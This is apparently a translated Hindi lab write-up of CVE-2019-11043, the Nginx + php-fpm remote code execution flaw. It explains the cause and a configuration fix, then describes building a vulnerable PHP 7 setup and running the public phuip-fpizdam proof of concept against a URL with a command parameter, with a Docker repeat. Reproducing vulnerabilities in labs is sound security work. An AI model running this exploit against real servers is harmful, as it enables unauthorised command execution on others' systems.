
CVE-2019-11043 PHP रिमोट कोड निष्पादन
26 सितंबर को, PHP ने आधिकारिक तौर पर एक भेद्यता अधिसूचना जारी की, जिसमें बताया गया कि: Nginx + php-fpm का उपयोग करने वाले सर्वर, कुछ कॉन्फ़िगरेशन के तहत, रिमोट कोड निष्पादन भेद्यता रखते हैं। और यह कॉन्फ़िगरेशन व्यापक रूप से उपयोग किया जाता है, जो अत्यधिक हानिकारक है।
भेद्यता का PoC 22 अक्टूबर को सार्वजनिक किया गया, और घरेलू सुरक्षा मीडिया ने समय पर चेतावनी जारी की।
Nginx में fastcgi_split_path_info, %0a वाले अनुरोधों को संसाधित करते समय, न्यूलाइन वर्ण \n का सामना करने के कारण PATH_INFO को खाली कर देता है। और php-fpm, PATH_INFO के खाली होने की स्थिति में एक तार्किक दोष रखता है। हमलावर सावधानीपूर्वक निर्माण और शोषण के माध्यम से रिमोट कोड निष्पादन का कारण बन सकते हैं।
Nginx + php-fpm सर्वर, निम्नलिखित कॉन्फ़िगरेशन का उपयोग करते समय, रिमोट कोड निष्पादन भेद्यता हो सकती है।
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
सामान्य व्यवसाय को प्रभावित किए बिना, Nginx कॉन्फ़िगरेशन फ़ाइल से निम्नलिखित कॉन्फ़िगरेशन हटाएं:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
यह POC FastCGI चर _fcgi_data_seg में ऑप्टिमाइज़ेशन का उपयोग करता है, जो केवल PHP7 में है, इसलिए सार्वजनिक शोषण केवल php7 के तहत काम करता है, PHP5 वातावरण में काम करने के लिए एक अलग शोषण की आवश्यकता होती है।
वातावरण कॉन्फ़िगर करें, nginx + php-fpm सेट अप करें, सत्यापित करें कि कार्य प्रभावी है।
php7 डाउनलोड करें, डायरेक्टरी में अनज़िप करें
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
संपीड़न, ssl और संबंधित आश्रित पैकेज स्थापित करें
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
स्रोत कोड कॉन्फ़िगर और संकलित करें
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
php-fpm कॉन्फ़िगर करें, यदि कई PHP कॉन्फ़िगर कर रहे हैं, तो पोर्ट 9000 को 9001 में बदल सकते हैं
php-fpm कॉन्फ़िगरेशन फ़ाइल संशोधित करें:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
pid = run/php-fpm.pid के सामने से अर्धविराम हटाएं
$ cd php-fpm.d
$ cp www.conf.default www.conf (पोर्ट बदलें)
$ vi www.conf
user और group को गैर-root उपयोगकर्ता में बदलें
./php-fpm
nginx.conf में निम्नलिखित कॉन्फ़िगरेशन जोड़ें:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
nginx पुनरारंभ करें
go स्थापित करें, POC कोड संकलित करें
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
POC चलाएँ
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[दुर्भाग्य से, वातावरण कॉन्फ़िगर करने में कुछ गड़बड़ है, सत्यापन विफल रहा]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
डॉकर प्रोजेक्ट फ़ाइलें डाउनलोड करें
docker-compose up -d डॉकर कंटेनर चलाएं

प्रोग्राम चलाएं, निष्पादन सफल दिखाएं, भेद्यता का उपयोग करके कमांड "id" का आउटपुट प्राप्त करें

डॉकर सेवा बंद करें
docker ps
docker stop id